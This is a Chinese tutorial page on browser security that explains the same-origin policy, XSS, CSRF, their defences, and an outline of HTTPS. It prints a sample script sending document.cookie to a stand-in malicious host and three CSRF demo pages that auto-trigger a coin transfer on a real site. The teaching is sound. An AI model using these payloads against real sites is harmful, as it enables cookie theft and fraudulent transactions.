Skip to content

浏览器安全

浏览器安全可以分为三大块——Web 页面安全、浏览器网络安全和浏览器系统安全

同源策略

如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。

具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面进而实现 Web 页面的安全性。

  • DOM 层面

    同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。

  • 数据层面

    同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。

  • 网络层面

    同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。也就是我们开发中常遇到的跨域问题

安全和便利性的权衡

不过安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是 XSS 攻击和 CSRF 攻击。

  • 页面中可以嵌入第三方资源

    Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个“口子”,让其任意引用外部文件。不过这也带来了很多问题,最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。

    当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。

    js
    function onClick() {
      let url = `http://malicious.com?cookie = ${document.cookie}`;
      open(url);
    }
    onClick();

    在这段代码中,恶意脚本读取 Cookie 数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的 Cookie 信息。以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。

  • 跨域资源共享

    通过 XMLHttpRequest 或者 Fetch 来请求 不同源的资源,这时同源策略会阻止其向 服务器发出请求。为了解决这个问题,引入了跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。

  • 跨文档消息机制

    虽然不同源的两个页面无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。

跨站脚本攻击(XSS)?

XSS 全称是 Cross Site Scripting(跨站脚本)。XSS 攻击是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。当页面被注入了恶意 JavaScript 脚本时,浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容,所以恶意注入 JavaScript 脚本也拥有所有的脚本权限。

如果页面被注入了恶意 JavaScript 脚本,恶意脚本都能做哪些事情。

  • 可以窃取 Cookie 信息。恶意 JavaScript 可以通过“document.cookie”获取 Cookie 信息,然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器;恶意服务器拿到用户的 Cookie 信息之后,就可以在其他电脑上模拟用户的登录,然后进行转账等操作。
  • 可以监听用户行为。恶意 JavaScript 可以使用“addEventListener”接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情。
  • 可以通过修改 DOM 伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。
  • 还可以在页面内生成浮窗广告,这些广告会严重地影响用户体验。

恶意脚本是怎么注入的

  • 存储型 XSS 攻击

    1. 首先黑客利用站点漏洞将一段恶意 JavaScript 代码提交到网站的数据库中
    2. 然后用户向网站请求包含了恶意 JavaScript 脚本的页面
    3. 当用户浏览该页面的时候,恶意脚本就会将用户的 Cookie 信息等数据上传到服务器

    恶意脚本可以通过 XMLHttpRequest 或者 Fetch 将用户的 Cookie 数据上传到黑客的服务器,黑客拿到了用户 Cookie 信息之后,就可以利用 Cookie 信息在其他机器上登录该用户的账号

  • 反射型 XSS 攻击

    在一个反射型 XSS 攻击过程中,恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又把恶意 JavaScript 脚本返回给用户。当恶意 JavaScript 脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作。

  • 基于 DOM 的 XSS 攻击

    基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。

如何阻止 XSS 攻击

存储型 XSS 攻击和反射型 XSS 攻击都是需要经过 Web 服务器来处理的,因此可以认为这两种类型的漏洞是服务端的安全漏洞。而基于 DOM 的 XSS 攻击全部都是在浏览器端完成的,因此基于 DOM 的 XSS 攻击是属于前端的安全漏洞。但无论是何种类型的 XSS 攻击,它们都有一个共同点,那就是首先往浏览器中注入恶意脚本,然后再通过恶意脚本将用户信息发送至黑客部署的恶意服务器上。所以要阻止 XSS 攻击,我们可以通过阻止恶意 JavaScript 脚本的注入和恶意消息的发送来实现。

  • 服务器对输入脚本进行过滤或转码

  • 充分利用 CSP

    实施严格的 CSP 可以有效地防范 XSS 攻击,具体来讲 CSP 有如下几个功能:

    1. 限制加载其他域下的资源文件,这样即使黑客插入了一个 JavaScript 文件,这个 JavaScript 文件也是无法被加载的
    2. 禁止向第三方域提交数据,这样用户数据也不会外泄
    3. 禁止执行内联脚本和未授权的脚本
    4. 还提供了上报机制,这样可以帮助我们尽快发现有哪些 XSS 攻击,以便尽快修复问题
  • 使用 HttpOnly 属性

    由于很多 XSS 攻击都是来盗用 Cookie 的,因此还可以通过使用 HttpOnly 属性来保护我们 Cookie 的安全。通常服务器可以将某些 Cookie 设置为 HttpOnly 标志,HttpOnly 是服务器通过 HTTP 响应头来设置的,下面是打开 Google 时,HTTP 响应头中的一段:

    js
    set-cookie: NID=189=M8q2FtWbsR8RlcldPVt7qkrqR38LmFY9jUxkKo3-4Bi6Qu_ocNOat7nkYZUTzolHjFnwBw0izgsATSI7TZyiiiaV94qGh-BzEYsNVa7TZmjAYTxYTOM9L_-0CN9ipL6cXi8l6-z41asXtm2uEwcOC5oh9djkffOMhWqQrlnCtOI; expires=Sat, 18-Apr-2020 06:52:22 GMT; path=/; domain=.google.com; HttpOnly

    使用 HttpOnly 标记的 Cookie 只能使用在 HTTP 请求过程中,所以无法通过 JavaScript 来读取这段 Cookie。因此一些比较重要的数据我们建议设置 HttpOnly 标志

CSRF 攻击

CSRF 英文全称是 Cross-site request forgery,所以又称为“跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲,CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事

通常当用户打开了黑客的页面后,黑客有三种方式去实施 CSRF 攻击:

  • 自动发起 Get 请求
html
<!DOCTYPE html>
<html>
  <body>
    <h1>黑客的站点:CSRF攻击演示</h1>
    <img src="https://time.geekbang.org/sendcoin?user=hacker&number=100" />
  </body>
</html>

这是黑客页面的 HTML 代码,在这段代码中,黑客将转账的请求接口隐藏在 img 标签内,欺骗浏览器这是一张图片资源。当该页面被加载时,浏览器会自动发起 img 的资源请求,如果服务器没有对该请求做判断的话,那么服务器就会认为该请求是一个转账请求.

  • 自动发起 POST 请求
html
<!DOCTYPE html>
<html>
  <body>
    <h1>黑客的站点:CSRF攻击演示</h1>
    <form
      id="hacker-form"
      action="https://time.geekbang.org/sendcoin"
      method="POST"
    >
      <input type="hidden" name="user" value="hacker" />
      <input type="hidden" name="number" value="100" />
    </form>
    <script>
      document.getElementById("hacker-form").submit();
    </script>
  </body>
</html>

在这段代码中,我们可以看到黑客在他的页面中构建了一个隐藏的表单,该表单的内容就是极客时间的转账接口。当用户打开该站点之后,这个表单会被自动执行提交;当表单被提交之后,服务器就会执行转账操作。因此使用构建自动提交表单这种方式,就可以自动实现跨站点 POST 数据提交。

  • 引诱用户点击链接

    除了自动发起 Get 和 Post 请求之外,还有一种方式是诱惑用户点击黑客站点上的链接,这种方式通常出现在论坛或者恶意邮件上。黑客会采用很多方式去诱惑用户点击链接,示例代码如下所示:

html
<div>
  <img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg> </img> </div> <div>
  <a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_blank">
    点击下载美女照片
  </a>
</div>

和 XSS 不同的是,CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击

如何防止 CSRF 攻击

发起 CSRF 攻击的三个必要条件:

  1. 目标站点一定要有 CSRF 漏洞;
  2. 用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态
  3. 需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛

对于 CSRF 攻击我们主要的防护手段是提升服务器的安全性。要让服务器避免遭受到 CSRF 攻击,通常有以下几种途径:

  • 充分利用好 Cookie 的 SameSite 属性

    CSRF 攻击是利用用户的登录状态来发起的,而 Cookie 正是浏览器和服务器之间维护登录状态的一个关键数据,因此要阻止 CSRF 攻击,首先考虑在 Cookie 上做防护。

    通常 CSRF 攻击都是从第三方站点发起的,要防止 CSRF 攻击,我们最好能实现从第三方站点发送请求时禁止 Cookie 的发送,因此在浏览器通过不同来源发送 HTTP 请求时,有如下区别:

    1. 如果是从第三方站点发起的请求,那么需要浏览器禁止发送某些关键 Cookie 数据到服务器
    2. 如果是同一个站点发起的请求,那么就需要保证 Cookie 数据正常发送

    Cookie 中的 SameSite 属性正是为了解决这个问题的,通过使用 SameSite 可以有效地降低 CSRF 攻击的风险。那 SameSite 是怎么防止 CSRF 攻击的呢?在 HTTP 响应头中,通过 set-cookie 字段设置 Cookie 时,可以带上 SameSite 选项,如下:

    js
    set-cookie: 1P_JAR=2019-10-20-06; expires=Tue, 19-Nov-2019 06:36:21 GMT; path=/; domain=.google.com; SameSite=none
  • 验证请求的来源站点 另外一种防止 CSRF 攻击的策略,那就是在服务器端验证请求来源的站点。由于 CSRF 攻击大多来自于第三方站点,因此服务器可以禁止来自第三方站点的请求。那么该怎么判断请求是否来自第三方站点呢?这就需要介绍 HTTP 请求头中的 Referer 和 Origin 属性了。

    Referer 是 HTTP 请求头中的一个字段,记录了该 HTTP 请求的来源地址。服务器的策略是优先判断 Origin,如果请求头中没有包含 Origin 属性,再根据实际情况判断是否使用 Referer 值

  • CSRF Token 还可以采用 CSRF Token 来验证,这个流程比较好理解,大致分为两步。

    1. 在浏览器向服务器发起请求时,服务器生成一个 CSRF Token。CSRF Token 其实就是服务器生成的字符串,然后将该字符串植入到返回的页面中
    2. 在浏览器端如果要发起转账的请求,那么需要带上页面中的 CSRF Token,然后服务器会验证该 Token 是否合法。如果是从第三方站点发出的请求,那么将无法获取到 CSRF Token 的值,所以即使发出了请求,服务器也会因为 CSRF Token 不正确而拒绝请求

页面安全问题的主要原因就是浏览器为同源策略开的两个“后门”:一个是在页面中可以任意引用第三方资源,另外一个是通过 CORS 策略让 XMLHttpRequest 和 Fetch 去跨域请求资源。为了解决这些问题,我们引入了 CSP 来限制页面任意引入外部资源,引入了 HttpOnly 机制来禁止 XMLHttpRequest 或者 Fetch 发送一些关键 Cookie,引入了 SameSite 和 Origin 来防止 CSRF 攻击。

安全沙箱

HTTPS 让数据传输更安全

使用 HTTP 明文传输的内容很容易被中间人窃取、伪造和篡改,通常我们把这种攻击方式称为中间人攻击。

具体来讲,在将 HTTP 数据提交给 TCP 层之后,数据会经过用户电脑、WiFi 路由器、运营商和目标服务器,在这中间的每个环节中,数据都有可能被窃取或篡改。比如用户电脑被黑客安装了恶意软件,那么恶意软件就能抓取和篡改所发出的 HTTP 请求的内容。或者用户一不小心连接上了 WiFi 钓鱼路由器,那么数据也都能被黑客抓取或篡改。

在 HTTP 协议栈中引入安全层

从 HTTP 协议栈层面来看,我们可以在 TCP 和 HTTP 之间插入一个安全层,所有经过安全层的数据都会被加密或者解密,你可以参考下图:

安全层有两个主要的职责:对发起 HTTP 请求的数据进行加密操作和对接收到 HTTP 的内容进行解密操作。安全层最重要的就是加解密,以下就是安全层实现一个从简单到复杂的 HTTPS 协议。

1. 使用对称加密

所谓对称加密是指加密和解密都使用的是相同的密钥

2. 使用非对称加密

3. 对称加密和非对称加密搭配使用

4. 添加数字证书

数字证书的申请和验证

如何申请数字证书

浏览器如何验证数字证书

上次更新于: